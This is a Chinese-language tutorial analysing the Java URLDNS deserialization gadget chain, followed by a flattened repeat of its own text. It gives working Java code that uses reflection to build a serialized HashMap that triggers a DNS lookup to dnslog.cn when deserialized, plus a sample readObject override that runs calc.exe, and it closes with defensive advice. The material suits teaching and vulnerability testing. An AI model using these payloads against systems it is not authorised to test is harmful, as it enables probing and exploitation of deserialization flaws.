JAVA URLDNS链分析利用
字数 1231 2025-08-10 17:51:49

Java URLDNS链分析与利用教学文档

一、Java反序列化基础

1.1 序列化与反序列化概念

序列化:将对象转化为字节序列的过程,用于存储或传输对象数据

  • 通过java.io.ObjectOutputStreamwriteObject方法实现
  • 需要实现Serializable接口

反序列化:将字节序列恢复为对象的过程

  • 通过java.io.ObjectInputStreamreadObject方法实现

1.2 基本示例

// 可序列化的Person类
public class Person implements Serializable {
    private transient String name; // transient表示不会被序列化
    private int age;
    
    // 重写readObject方法可实现自定义反序列化逻辑
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject(); // 读取默认对象字段
        Runtime.getRuntime().exec("calc.exe"); // 代码执行命令
    }
}

二、URLDNS链介绍

2.1 URLDNS链特点

  • 与Java版本无关
  • 依赖于Java内置类
  • 只能发起DNS请求,无法进行其他利用
  • 主要用途:验证是否存在反序列化漏洞

2.2 攻击链原理

调用链

HashMap.put() -> HashMap.hash() -> key.hashCode() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() -> DNS查询

关键点

  1. URL对象被创建时,其hashCode字段初始值为-1
  2. hashCode为-1时,调用hashCode()方法会触发DNS查询
  3. 通过反射机制可以控制hashCode的值

三、URLDNS链实现步骤

3.1 基础实现(会立即触发DNS)

HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");
hashmap.put(url,1); // 此时会立即触发DNS查询

3.2 优化实现(仅在反序列化时触发DNS)

HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");

// 使用反射修改hashCode值
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);

// 1. 保存原始hashCode值
int originalHashCode = hashcodefield.getInt(url); // -1

// 2. 修改hashCode为非-1值
hashcodefield.set(url, 123);

// 3. 将URL放入HashMap
hashmap.put(url,1);

// 4. 将hashCode改回-1
hashcodefield.set(url, originalHashCode);

// 序列化hashmap
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashmap);

3.3 反序列化触发

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject(); // 此时会触发DNS查询

四、关键技术点详解

4.1 Java反射机制

反射的作用:在运行时动态获取类的信息并操作类的成员

核心类

  • Class:表示类或接口
  • Constructor:表示构造函数
  • Field:表示字段
  • Method:表示方法

在URLDNS中的应用

// 获取URL类的hashCode字段
Field hashcodefield = url.getClass().getDeclaredField("hashCode");

// 解除私有字段的访问限制
hashcodefield.setAccessible(true);

// 获取字段值
int value = hashcodefield.getInt(url);

// 设置字段值
hashcodefield.set(url, 123);

4.2 HashMap的序列化特性

  • HashMap实现了Serializable接口
  • 序列化时会保存所有键值对
  • 反序列化时会调用键对象的hashCode方法重新计算哈希值

4.3 URL类的特殊行为

  • URL对象在计算hashCode时会调用getHostAddress()方法
  • 该方法会解析URL的主机名,从而触发DNS查询
  • 当hashCode不为-1时,会直接返回缓存的值,不会触发DNS

五、调试与分析技巧

5.1 关键调试点

  1. URL对象创建时

    • hashCode初始值为-1
    URL url = new URL("http://dnslog.cn");
    
  2. hashmap.put()调用时

    • 会调用hash()方法
    • hash()方法会调用key.hashCode()
  3. 反序列化时

    • 会重新计算所有键的hashCode
    • 当hashCode为-1时会触发DNS

5.2 常见问题解决

问题:JDK9+版本可能出现模块访问限制错误

解决方案
在VM选项中添加:

--add-opens java.base/java.lang=ALL-UNNAMED 
--add-opens java.base/java.lang.reflect=ALL-UNNAMED

六、防御建议

  1. 不要反序列化不受信任的数据
  2. 使用白名单机制限制可反序列化的类
  3. 使用安全的替代方案如JSON、XML等数据格式
  4. 监控和过滤异常的DNS请求

七、总结

URLDNS链是一个简单但有效的反序列化漏洞检测手段,它利用了Java内置类的特性,通过DNS请求来验证反序列化漏洞的存在。虽然不能直接用于代码执行,但在渗透测试中具有重要的探测价值。理解URLDNS链的工作原理有助于深入理解Java反序列化漏洞的本质。

Java URLDNS链分析与利用教学文档 一、Java反序列化基础 1.1 序列化与反序列化概念 序列化 :将对象转化为字节序列的过程,用于存储或传输对象数据 通过 java.io.ObjectOutputStream 的 writeObject 方法实现 需要实现 Serializable 接口 反序列化 :将字节序列恢复为对象的过程 通过 java.io.ObjectInputStream 的 readObject 方法实现 1.2 基本示例 二、URLDNS链介绍 2.1 URLDNS链特点 与Java版本无关 依赖于Java内置类 只能发起DNS请求,无法进行其他利用 主要用途:验证是否存在反序列化漏洞 2.2 攻击链原理 调用链 : 关键点 : URL对象被创建时,其 hashCode 字段初始值为-1 当 hashCode 为-1时,调用 hashCode() 方法会触发DNS查询 通过反射机制可以控制 hashCode 的值 三、URLDNS链实现步骤 3.1 基础实现(会立即触发DNS) 3.2 优化实现(仅在反序列化时触发DNS) 3.3 反序列化触发 四、关键技术点详解 4.1 Java反射机制 反射的作用 :在运行时动态获取类的信息并操作类的成员 核心类 : Class :表示类或接口 Constructor :表示构造函数 Field :表示字段 Method :表示方法 在URLDNS中的应用 : 4.2 HashMap的序列化特性 HashMap实现了Serializable接口 序列化时会保存所有键值对 反序列化时会调用键对象的hashCode方法重新计算哈希值 4.3 URL类的特殊行为 URL对象在计算hashCode时会调用 getHostAddress() 方法 该方法会解析URL的主机名,从而触发DNS查询 当hashCode不为-1时,会直接返回缓存的值,不会触发DNS 五、调试与分析技巧 5.1 关键调试点 URL对象创建时 : hashCode初始值为-1 hashmap.put()调用时 : 会调用hash()方法 hash()方法会调用key.hashCode() 反序列化时 : 会重新计算所有键的hashCode 当hashCode为-1时会触发DNS 5.2 常见问题解决 问题 :JDK9+版本可能出现模块访问限制错误 解决方案 : 在VM选项中添加: 六、防御建议 不要反序列化不受信任的数据 使用白名单机制限制可反序列化的类 使用安全的替代方案如JSON、XML等数据格式 监控和过滤异常的DNS请求 七、总结 URLDNS链是一个简单但有效的反序列化漏洞检测手段,它利用了Java内置类的特性,通过DNS请求来验证反序列化漏洞的存在。虽然不能直接用于代码执行,但在渗透测试中具有重要的探测价值。理解URLDNS链的工作原理有助于深入理解Java反序列化漏洞的本质。